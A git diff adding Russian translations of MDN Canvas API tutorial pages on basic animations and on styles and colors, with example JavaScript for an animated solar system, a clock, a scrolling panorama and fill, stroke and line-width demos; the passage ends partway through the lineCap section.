+<p>Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя <code>drawStar()</code>. Снова звезды появляются только в пределах определенного обтравочного контура.</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/основы_анимации/index.html b/files/ru/web/api/canvas_api/tutorial/основы_анимации/index.html
new file mode 100644
index 0000000000..a47b8b734e
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/основы_анимации/index.html
@@ -0,0 +1,308 @@
+---
+title: Простые анимации
+slug: Web/API/Canvas_API/Tutorial/Основы_анимации
+tags:
+  - HTML
+  - HTML5
+  - Графика
+  - Обучение
+  - Средний уровень
+  - Холст
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</div>
+
+<div class="summary">
+<p>Поскольку для управления элементами {{HTMLElement ("canvas")}} используется JavaScript, не составляет труда сделать (интерактивные) анимации. В этой главе мы рассмотрим, как делаются некоторые базовые анимации.</p>
+</div>
+
+<p>Вероятно, самым большим ограничением является то, что когда фигура нарисована, её уже нельзя двигать. Чтобы изобразить движение нам нужно перерисовать фигуру и всё, что было нарисовано до неё. Перерисовка сложных кадров занимает много времени, и производительность сильно зависит от скорости компьютера, на котором она выполняется.</p>
+
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">Основные шаги анимации</h2>
+
+<p>Ниже перечислены необходимые шаги для того, чтобы нарисовать кадр:</p>
+
+<ol>
+ <li><strong>Очистить canvas</strong><br>
+  Если фигура, которую вы собираетесь нарисовать, не занимает всю площадь canvas (как фон, например), то всё что было нарисовано ранее необходимо стереть. Проще всего это сделать при помощи метода {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.</li>
+ <li><strong>Сохранить изначальное состояние canvas</strong><br>
+  Если вы изменяете любые настройки (такие как стили, трансформации и т.п.), которые затрагивают состояние canvas и вы хотите убедиться, что оригинальное состояние используется каждый раз, когда был отрисован кадр, то вам следует сохранить это оригинальное состояние.</li>
+ <li><strong>Нарисовать анимированные фигуры</strong><br>
+  Шаг на котором вы собственно отрисовываете кадр.</li>
+ <li><strong>Восстановить состояние canvas</strong><br>
+  Если вы сохраняли состояние, восстановите его, прежде чем отрисовывать новый кадр.</li>
+</ol>
+
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">Управление анимацией</h2>
+
+<p>Фигуры отрисовываются на canvas либо напрямую — при помощи методов canvas, либо с помощью сторонних функций. В нормальной ситуации результат станет виден на canvas после окончания выполнения скрипта. К примеру, цикл for использовать для анимации нельзя. </p>
+
+<p>Это значит, нужен способ выполнения функций отрисовки через интервалы времени. Есть два способа для управления такой анимацией.</p>
+
+<h3 id="Запланированные_обновления">Запланированные обновления</h3>
+
+<p>Первый — это функции {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, и {{domxref("window.requestAnimationFrame()")}}, которые могут быть использованы для вызова некоторой функции, через заданный промежуток времени.</p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}</dt>
+ <dd>Начинает периодически исполнять функцию <code>function</code> каждые <code>delay</code> миллисекунд.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}</dt>
+ <dd>Запускает выполнение указанной функции <code>function</code> через <code>delay</code> миллисекунд.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}</dt>
+ <dd>Сообщает браузеру, что вы хотите выполнить анимацию, и запрашивает, чтобы браузер вызвал указанную функцию <code>callback</code> для обновления анимации перед следующей перерисовкой.</dd>
+</dl>
+
+<p>Если вы не планируете никакого взаимодействия с пользователем, вы можете использовать функцию <code>setInterval()</code> , которая многократно выполняет, предоставленный ей код. Если же вы планиуете создать игру, в которой контроль анимации осуществляется мышью или клавиатурой, то необходимо использовать  <code>setTimeout()</code>. Установив {{domxref("EventListener")}}, вы можете перехватываете любые действия пользователя и запустить соответствующие функции анимации.</p>
+
+<div class="note">
+<p>В примерах ниже мы будем использовать функцию {{domxref("window.requestAnimationFrame()")}} для контроля анимации. Функция <code>requestAnimationFrame</code> является более эффективной для создания анимации, так как новая итерация вызывается, когда система готова к отрисовке нового кадра. Количество вызовов в секунду примерно равно 60 и уменьшается, когда вкладка неактивна. Для более подробного изучения цикла анимации, особенно для игр, прочитайте статью <a href="/en-US/docs/Games/Anatomy">Анатомия видеоигр </a>В <a href="/en-US/docs/Games">Зоне разработке игр</a>.</p>
+</div>
+
+<h2 id="Анимированная_солнечная_система">Анимированная солнечная система</h2>
+
+<p>В этом примере анимируется небольшая модель солнечной системы.</p>
+
+<pre class="brush: js">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // clear canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Earth
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Shadow
+  ctx.drawImage(earth,-12,-12);
+
+  // Moon
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Earth orbit
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_animated_solar_system", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+
+<h2 id="Анимированные_часы">Анимированные часы</h2>
+
+<p>В этом примере создаются анимированные часы, показывающие правильное время.</p>
+
+<pre class="brush: js">function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Hour marks
+  ctx.save();
+  for (var i=0;i&lt;12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Minute marks
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i&lt;60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr&gt;=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // write Hours
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // write Minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Write seconds
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_animated_clock", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+
+<h2 id="Зацикленная_панорама">Зацикленная панорама</h2>
+
+<p>В этом примере панорама прокручивается слева направо. Мы используем <a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">фото национального парка Йосемити</a> взятое из Википедии, но вы можете использовать любое изображение, большее элемента canvas.</p>
+
+<pre class="brush: js">var img = new Image();
+
+// User Variables - customize these to change the image being scrolled, its
+// direction, and the speed.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; //lower is faster
+var scale = 1.05;
+var y = -4.5; //vertical offset
+
+// Main program
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width*scale;
+    imgH = img.height*scale;
+    if (imgW &gt; CanvasXSize) { x = CanvasXSize-imgW; } // image larger than canvas
+    if (imgW &gt; CanvasXSize) { clearX = imgW; } // image larger than canvas
+    else { clearX = CanvasXSize; }
+    if (imgH &gt; CanvasYSize) { clearY = imgH; } // image larger than canvas
+    else { clearY = CanvasYSize; }
+    //Get Canvas Element
+    ctx = document.getElementById('canvas').getContext('2d');
+    //Set Refresh Rate
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    //Clear Canvas
+    ctx.clearRect(0,0,clearX,clearY);
+    //If image is &lt;= Canvas Size
+    if (imgW &lt;= CanvasXSize) {
+        //reset, start from beginning
+        if (x &gt; (CanvasXSize)) { x = 0; }
+        //draw aditional image
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-CanvasXSize+1,y,imgW,imgH); }
+    }
+    //If image is &gt; Canvas Size
+    else {
+        //reset, start from beginning
+        if (x &gt; (CanvasXSize)) { x = CanvasXSize-imgW; }
+        //draw aditional image
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-imgW+1,y,imgW,imgH); }
+    }
+    //draw image
+    ctx.drawImage(img,x,y,imgW,imgH);
+    //amount to move
+    x += dx;
+}
+</pre>
+
+<p>Заметьте, что ширина и высота должны совпадать  со значениями <code>CanvasXZSize</code> и <code>CanvasYSize</code>.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<p>{{EmbedLiveSample("A_looping_panorama", "830", "230")}}</p>
+
+<h2 id="Other_examples" name="Other_examples">Другие примеры</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">A basic ray-caster</a></dt>
+ <dd>Хороший пример того, как сделать управляемую анимацию с клавиатуры.</dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">Advanced animations</a></dt>
+ <dd>Мы рассмотрим некоторые продвинутые методы анимации и физику в следующей главе.</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/применение_стилей_и_цветов/index.html b/files/ru/web/api/canvas_api/tutorial/применение_стилей_и_цветов/index.html
new file mode 100644
index 0000000000..2c9eeaae78
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/применение_стилей_и_цветов/index.html
@@ -0,0 +1,726 @@
+---
+title: Применение стилей и цветов
+slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_цветов
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</div>
+
+<div class="summary">
+<p>В главе о <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes">рисовании фигур</a>, <span id="result_box" lang="ru"><span>мы использовали</span></span><span lang="ru"><span class="hps"> для линий</span> <span class="hps">и</span><span class="hps"> заполнения</span> <span class="hps">только</span> <span class="hps">стили<span> </span>по умолчанию</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Здесь</span> <span class="hps">мы будем исследовать</span> <span class="hps">опции </span></span>canvas<span lang="ru">, которые <span class="hps">мы</span> <span class="hps">имеем в нашем</span> <span class="hps">распоряжении, чтобы сделать</span> <span class="hps">наши</span> <span class="hps">рисунки</span> <span class="hps">немного</span> <span class="hps">более привлекательными. </span></span><span id="result_box" lang="ru"><span class="hps">Вы узнаете, как</span> <span class="hps">добавлять различные</span> <span class="hps">цвета,</span> <span class="hps">стили линий</span><span>, градиенты</span><span>, узоры</span> <span class="hps">и тени</span> <span class="hps">вашим рисункам</span><span>.</span></span></p>
+</div>
+
+<h2 id="Colors" name="Colors">Цвета</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">До сих пор</span> <span class="hps">мы</span> <span class="hps">видели только</span> <span class="hps">методы</span> <span class="hps">рисования контекста. </span></span><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">мы хотим применить</span> <span class="hps">цвета</span> <span class="hps">к фигуре</span><span>,</span> то <span class="hps">есть два важных</span> <span class="hps">свойства</span>, которые <span class="hps">мы можем</span> <span class="hps">использовать:</span></span> <code>fillStyle</code> и <code>strokeStyle</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}</dt>
+ <dd>Устанавливает стиль для фона фигур.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}</dt>
+ <dd>Устанавливает стиль контура фигуры. </dd>
+</dl>
+
+<p><em><code>color </code></em>может быть цветом, (<code>строка, представленная в</code> CSS {{cssxref("&lt;color&gt;")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — черный (значение CSS цвета  <code>#000000</code>).</p>
+
+<div class="note">
+<p><strong>На заметку:</strong> Когда вы устанавливаете  значения <code>strokeStyle</code> и/или <code>fillStyle</code>, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в <code>fillStyle</code> или в <code>strokeStyle</code> для каждой фигуры.</p>
+</div>
+
+<p>Чтобы строка <em><code>color </code></em>считалась валидной, она должна соответствовать CSS {{cssxref("&lt;color&gt;")}}. Далее приведены примеры того, как можно по-разному задать один и тот же цвет. </p>
+
+<pre class="brush: js notranslate">// these all set the fillStyle to 'orange'
+
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255,165,0)";
+ctx.fillStyle = "rgba(255,165,0,1)";
+</pre>
+
+<h3 id="Пример_fillStyle">Пример <code>fillStyle</code></h3>
+
+<p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p>
+
+<pre class="brush: js;highlight[5,6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i=0;i&lt;6;i++){
+    for (var j=0;j&lt;6;j++){
+      ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                       Math.floor(255-42.5*j) + ',0)';
+      ctx.fillRect(j*25,i*25,25,25);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Пример_fillStyle", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="Пример_strokeStyle">Пример <code>strokeStyle</code></h3>
+
+<p>Этот пример похож на предыдущий, но мы используем свойство <code>strokeStyle</code> чтобы изменить цвета очертаний фигур. Так же мы используем метод <code>arc()</code> для рисования окружностей вместо квадратов.</p>
+
+<pre class="brush: js;highlight[5,6] notranslate">  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i=0;i&lt;6;i++){
+      for (var j=0;j&lt;6;j++){
+        ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                         Math.floor(255-42.5*j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+        ctx.stroke();
+      }
+    }
+  }
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Пример_strokeStyle", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">Прозрачность</h2>
+
+<p>В дополнении к рисованию непрозрачных фигур, мы также можем рисовать прозрачные (полупрозрачные) фигуры.  Это делается через установку свойства <code>globalAlpha</code> или задачи полупрозрачного цвета фона или контура.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}</dt>
+ <dd>Для применения, указывается значения прозрачности для всех будущих фигур, что будут нарисованы на canvas. Значение полупрозрачности могут быть между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность). Значение 1.0 (полная непрозрачность) установлено по умолчанию.</dd>
+</dl>
+
+<p>Свойство <code>globalAlpha</code> может быть использовано, если вы хотите рисовать формы с одинаковой прозрачностью, но в иной ситуации, обычно устанавливают прозрачность индивидуально к каждой форме, когда указывают их цвет.</p>
+
+<p>Так как свойства <code>strokeStyle</code> и <code>fillStyle</code> принимают цветовые значения rgba через CSS, мы можем использовать следующее обозначение  для назначения прозрачных цветов.</p>
+
+<pre class="brush: js notranslate">// Assigning transparent colors to stroke and fill style
+
+ctx.strokeStyle = "rgba(255,0,0,0.5)";
+ctx.fillStyle = "rgba(255,0,0,0.5)";
+</pre>
+
+<p>Функция <code>rgba()</code> похожа на функцию <code>rgb()</code>, но имеет один дополнительный параметр. Последний параметр устанавливает значение прозрачности для конкретного цвета. Действующий диапозон значений находится между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность).</p>
+
+<h3 id="Пример_globalAlpha">Пример <code>globalAlpha</code></h3>
+
+<p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.</p>
+
+<pre class="brush: js;highlight[15] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // фон изображения
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0,0,75,75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75,0,75,75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0,75,75,75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75,75,75,75);
+  ctx.fillStyle = '#FFF';
+
+  // устанавливаем значение прозрачности
+  ctx.globalAlpha = 0.2;
+
+  // Рисуем полупрозрачные круги
+  for (i=0;i&lt;7;i++){
+    ctx.beginPath();
+    ctx.arc(75,75,10+10*i,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_globalAlpha", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="Пример_использования_rgba">Пример использования <code>rgba()</code></h3>
+
+<p>В этом втором примере мы делаем что-то похожее на предыдущее, но вместо рисования кругов друг над другом, я рисовал маленькие прямоугольники с увеличением непрозрачности. Использование <code>rgba()</code> добавляет контроля и гибкости, поскольку мы можем индивидуально настраивать стиль заливки и штриха.</p>
+
+<pre class="brush: js;highlight[16] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Нарисовать фон
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // Нарисовать полупрозрачные прямоугольники
+  for (var i=0;i&lt;10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j&lt;4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_использования_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">Стили линий</h2>
+
+<p>Есть несколько свойств, которые позволяют нам стилизовать линии.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}</dt>
+ <dd>Устанавливает ширину линий, рисуемых в будущем.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}</dt>
+ <dd>Устанавливает внешний вид концов линий.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}</dt>
+ <dd>Устанавливает внешний вид «углов», где встречаются линии.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
+ <dd>Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
+ <dd>Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
+ <dd>Устанавливает текущий пунктир линии.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
+ <dd>Указывает, где следует начинать тире массива в строке.</dd>
+</dl>
+
+<p>Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.</p>
+
+<h3 id="Пример_lineWidth">Пример <code>lineWidth</code></h3>
+
+<p>Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.</p>
+
+<p>Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.</p>
+
+<p>В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.</p>
+
+<pre class="brush: js;highlight[4] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 10; i++){
+    ctx.lineWidth = 1+i;
+    ctx.beginPath();
+    ctx.moveTo(5+i*14,5);
+    ctx.lineTo(5+i*14,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>Если вы рассмотрите путь от (3, 1) до (3, 5) с толщиной строки <code>1.0</code>, вы получите ситуацию во втором изображении. Фактическая заполняемая область, (синяя), распространяется только наполовину в пикселях по обе стороны пути. Приблизительно это означает, что частично затенённые пиксели приводят к заполнению всей области (светло-голубой и синей) цветом, только наполовину темным, чем фактический цвет штриха. Это то, что происходит с линией шириной <code>1.0</code> в предыдущем примере кода.</p>
+
+<p>Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной <code>1.0</code> занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии <code>1.0</code> закончится верно, точно заполняя вертикальную линию с одним пикселем.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля <code>lineCap</code>,  значение по умолчанию - <code>butt</code>; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль <code>lineCap</code> в <code>square</code>, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).</p>
+
+<p>Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью <code>closePath()</code>, - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля <code>lineJoin</code> в значении по умолчанию - <code>miter</code>, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.</p>
+</div>
+
+<p>Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.</p>
+
+<p>Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.</p>
+
+<h3 id="Пример_lineCap">Пример <code>lineCap</code></h3>
+
+<p>Свойство <code>lineCap</code> определяет, как выводятся конечные точки каждой строки. Для этого свойства есть три возможных значения: <code>butt</code>, <code>round</code> и <code>square</code>. По умолчанию для этого свойства установлено значение <code>butt</code>.</p>
+
